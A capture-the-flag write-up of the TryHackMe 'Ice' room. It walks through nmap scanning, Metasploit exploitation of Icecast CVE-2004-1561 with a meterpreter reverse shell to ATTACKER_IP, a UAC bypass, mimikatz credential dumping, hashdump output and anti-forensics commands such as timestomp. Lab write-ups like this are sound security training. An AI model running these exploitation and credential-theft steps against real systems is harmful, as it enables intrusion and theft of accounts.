We first need to connect to the tryhackme VPN server. You can get more information regarding this by visiting the Access page.
I'll be using openvpn to connect to the server. Here's the command:
$ sudo openvpn --config NovusEdge.ovpn
PS: the room on THM has a very nice and detailed description for this setup phase :)
Starting off with some standard NMAP scans:
$ sudo nmap -sS --top-ports 1000 -vv MACHINE_IP
...
Scanning MACHINE_IP [1000 ports]
Discovered open port 3389/tcp on MACHINE_IP
Discovered open port 139/tcp on MACHINE_IP
Discovered open port 445/tcp on MACHINE_IP
Discovered open port 135/tcp on MACHINE_IP
Discovered open port 8000/tcp on MACHINE_IP
Discovered open port 49153/tcp on MACHINE_IP
Discovered open port 49158/tcp on MACHINE_IP
Discovered open port 5357/tcp on MACHINE_IP
Discovered open port 49154/tcp on MACHINE_IP
Discovered open port 49152/tcp on MACHINE_IP
Discovered open port 49160/tcp on MACHINE_IP
Discovered open port 49159/tcp on MACHINE_IP
...
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
5357/tcp open wsdapi syn-ack ttl 127
8000/tcp open http-alt syn-ack ttl 127
49152/tcp open unknown syn-ack ttl 127
49153/tcp open unknown syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
49158/tcp open unknown syn-ack ttl 127
49159/tcp open unknown syn-ack ttl 127
49160/tcp open unknown syn-ack ttl 127
...NOTE: Even though the task description says to scan all ports, it's far quicker to scan top ports.
$ sudo nmap -sV -vv -p3389,139,445,135,8000,49153,49158,5357,49154,49152,49160,49159 MACHINE_IP
...
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server syn-ack ttl 127
5357/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open http syn-ack ttl 127 Icecast streaming media server
49152/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49158/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49159/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49160/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
...Looking through the results of these scans, we can guess that the "more interesting ports that is open is Microsoft Remote Desktop (MSRDP)" is, in fact, port 3389
Once the scan completes, we'll see a number of interesting ports open on this machine. As you might have guessed, the firewall has been disabled (with the service completely shutdown), leaving very little to protect this machine. One of the more interesting ports that is open is Microsoft Remote Desktop (MSRDP). What port is this open on?\
3389
Yet another question answered:
What service did nmap identify as running on port 8000? (First word of this service)\
Icecast
We also get the answer of the final question:
What does Nmap identify as the hostname of the machine? (All caps for the answer)\
DARK-PC
With some digging around on the website mentioned in the section's first question (https://www.cvedetails.com/), we quickly find the vulnerability: CVE-2004-1561. To answer the first question:
What type of vulnerability is it?\
Execute Code Overflow
Furthermore, the answering the second question:
What is the CVE number for this vulnerability? This will be in the format: CVE-0000-0000\
CVE-2004-1561
As directed, we'll fire up metasploit and search for an exploit:
$ sudo msfconsole -q
msf6 >
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) >
Module options (exploit/windows/http/icecast_header):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-
framework/wiki/Using-Metasploit
RPORT 8000 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.80.0.22 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
The answer for the 3rd question:
What is the full path (starting with exploit) for the exploitation module?\
exploit/windows/http/icecast_header
msf6 exploit(windows/http/icecast_header) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 exploit(windows/http/icecast_header) > set LHOST ATTACKER_IP
LHOST => ATTACKER_IP
msf6 exploit(windows/http/icecast_header) > run
[*] Started reverse TCP handler on ATTACKER_IP:4444
[*] Sending stage (175686 bytes) to MACHINE_IP
[*] Meterpreter session 1 opened (ATTACKER_IP:4444 -> MACHINE_IP:49223) at 2022-10-26 20:07:42 +0330Done! Now we can move onto privilage escalation.
Since we now have a meterpreter session going, the term's also the answer for the first question in this section:
What's the name of the shell we have now?\
meterpreter
We can get the answer to the next question like so:
meterpreter > getuid
Server username: Dark-PC\DarkWhat user was running that Icecast process?\
Dark
To get some information on the system, we can execute sysinfo:
meterpreter > sysinfo
Computer : DARK-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windowsWe thus have the answer to the third and foutth questions:
What build of Windows is the system?\
7601
What is the architecture of the process we're running?\
x64
Executing: run post/multi/recon/local_exploit_suggester will, as the name suggests, give us names of some potential exploits that we can make use of.
meterpreter > run post/multi/recon/local_exploit_suggester
[*] MACHINE_IP - Collecting local exploits for x86/windows...
[*] MACHINE_IP - 170 exploit checks are being tried...
[+] MACHINE_IP - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] MACHINE_IP - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[+] MACHINE_IP - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 41 / 41
[*] MACHINE_IP - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
2 exploit/windows/local/ms10_092_schelevator Yes The service is running, but could not be validated.
3 exploit/windows/local/ms13_053_schlamperei Yes The target appears to be vulnerable.
4 exploit/windows/local/ms13_081_track_popup_menu Yes The target appears to be vulnerable.
5 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
6 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
7 exploit/windows/local/ntusermndragover Yes The target appears to be vulnerable.
8 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
9 exploit/windows/local/tokenmagic Yes The target appears to be vulnerable.
...
...
...This gives the answer to the next question:
What is the full path (starting with exploit/) for the first returned exploit?\
exploit/windows/local/bypassuac_eventvwr
We can now background this session and move on to using the mentioned exploit to get escalated privilages.
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/http/icecast_header) > use exploit/windows/local/bypassuac_eventvwr
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcpSetting some options and running the exploit will get us an escalated session:
msf6 exploit(windows/local/bypassuac_eventvwr) > options
Module options (exploit/windows/local/bypassuac_eventvwr):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.80.0.22 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf6 exploit(windows/local/bypassuac_eventvwr) > set LHOST ATTACKER_IP
LHOST => ATTACKER_IP
msf6 exploit(windows/local/bypassuac_eventvwr) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows Dark-PC\Dark @ DARK-PC ATTACKER_IP:4444 -> MACHINE_IP:4922
3 (MACHINE_IP)
msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac_eventvwr) > run
[*] Started reverse TCP handler on ATTACKER_IP:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175686 bytes) to MACHINE_IP
[*] Meterpreter session 2 opened (ATTACKER_IP:4444 -> MACHINE_IP:49260) at 2022-10-26 20:41:23 +0330
[*] Cleaning up registry keys ...This created a new session (session: 2) which we can now use to do whatever we need to do.
There's some questions along the way that're quite obviously answered, but here's the answers just in case:
Now that we've set our session number, further options will be revealed in the options menu. We'll have to set one more as our listener IP isn't correct. What is the name of this option?\
LHOST
msf6 exploit(windows/local/bypassuac_eventvwr) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows Dark-PC\Dark @ DARK-PC ATTACKER_IP:4444 -> MACHINE_IP:4922
3 (MACHINE_IP)
2 meterpreter x86/windows Dark-PC\Dark @ DARK-PC ATTACKER_IP:4444 -> MACHINE_IP:4926
0 (MACHINE_IP)In case you haven't yet got a meterpreter > prompt up, but have a new session available, you can bring it to foreground using sessions -i 2 or sessions 2:
msf6 exploit(windows/local/bypassuac_eventvwr) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > We can now view our privilages by executing getprivs:
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilegeLooking through this list of permissions gives us the answer to the next question:
What permission listed allows us to take ownership of files?\
SeTakeOwnershipPrivilege
For those wondering, this phase usually involves looting credentials and hashes for later or current use.
As instructed, we'll first have a peek at the processes using ps:
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
100 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchos
t.exe
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.e
xe
508 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchos
t.exe
544 536 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.
exe
592 536 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\winini
t.exe
600 692 vds.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\vds.ex
e
604 584 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.
exe
652 584 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlog
on.exe
692 592 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\servic
es.exe
700 592 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.
exe
708 592 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.ex
e
820 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchos
t.exe
...
1376 692 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spools
v.exe
...
1572 692 amazon-ssm-agen x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SS
t.exe M\amazon-ssm-agent.exe
1588 692 TrustedInstalle x64 0 NT AUTHORITY\SYSTEM C:\Windows\servicing\Trust
r.exe edInstaller.exe
1656 692 LiteAgent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Xe
ntools\LiteAgent.exe
...
1836 692 Ec2Config.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Ec
2ConfigService\Ec2Config.e
xe
...
2600 692 SearchIndexer.e x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\Search
xe Indexer.exeThere's a whole bunch of processes, but we're only interested in the ones that belong to NT AUTHORITY/SYSTEM, so I took the liberty of removing all other entries of the output.
Out of all of these processes, the ones that the room suggests we utilize for looting is lsass.exe (PID 700; PPID 592) and the service spoolsv.exe (PID 1376; PPID 692). The latter being the answer to the first question in this section:
What's the name of the printer service?\
spoolsv.exe
Now, we migrate to this process, like so:
meterpreter > migrate -N spoolsv.exe
[*] Migrating from 2224 to 1376...
[*] Migration completed successfully.Now that we've migrated, let's check our uid:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM We thus have the answer to the second question:
Let's check what user we are now with the command
getuid. What user is listed?\
NT AUTHORITY\SYSTEM
Now for the actual "looting" part. We'll load mimikatz for this by executing: load mimikatz
meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success. NOTE: As the command output quite clearly suggest that the extenstion's name has been changed to kiwi, it's better to use load kiwi instead of load mimikatz.
Accessing the help menu as instructed:
meterpreter > ?
...
...
...
Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
...
...We get the answer to the next question.
Which command allows up to retrieve all credentials? \
creds_all
And running this command gives us the answer to the question after that:
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Dark Dark-PC e52cac67419a9a22ecb0836909 7c4fe5eada682714a036e393783 0d082c4b4f2aeafb67fd0ea568a
9ed302 62bab 997e9d3ebc0eb
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
DARK-PC$ WORKGROUP (null)
Dark Dark-PC Password01!
tspkg credentials
=================
Username Domain Password
-------- ------ --------
Dark Dark-PC Password01!
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Dark Dark-PC Password01!
dark-pc$ WORKGROUP (null)What is Dark's password?\
Password01!
Now that the machine has been exploited, time for some post-exploitation steps like leaving backdoors and removing traces.
Using the hashdump command dumps the contents of the SAM database. It's also the answer to the first question:
What command allows us to dump all of the password hashes stored on the system? \
hashdump
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Dark:1000:aad3b435b51404eeaad3b435b51404ee:7c4fe5eada682714a036e39378362bab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Going through the help menu, we get answers for some more questions in this section:
What command allows us to watch the remote user's desktop in real time?\
screenshare
How about if we wanted to record from a microphone attached to the system? \
record_mic
To complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this? \
timestomp
Mimikatz allows us to create what's called a
golden ticket, allowing us to authenticate anywhere with ease. What command allows us to do this?\golden_ticket_create
With this last question, we can conclude this room!
Kudos to DarkStar7471 for creating such a banger room. I hope that this writeup helped whoever came across it. If you found this document helpful, consider dropping a star and/or following me on github: https://github.com/NovusEdge
Room: Ice by DarkStar7471
Writeup Author: Aliasgar Khimani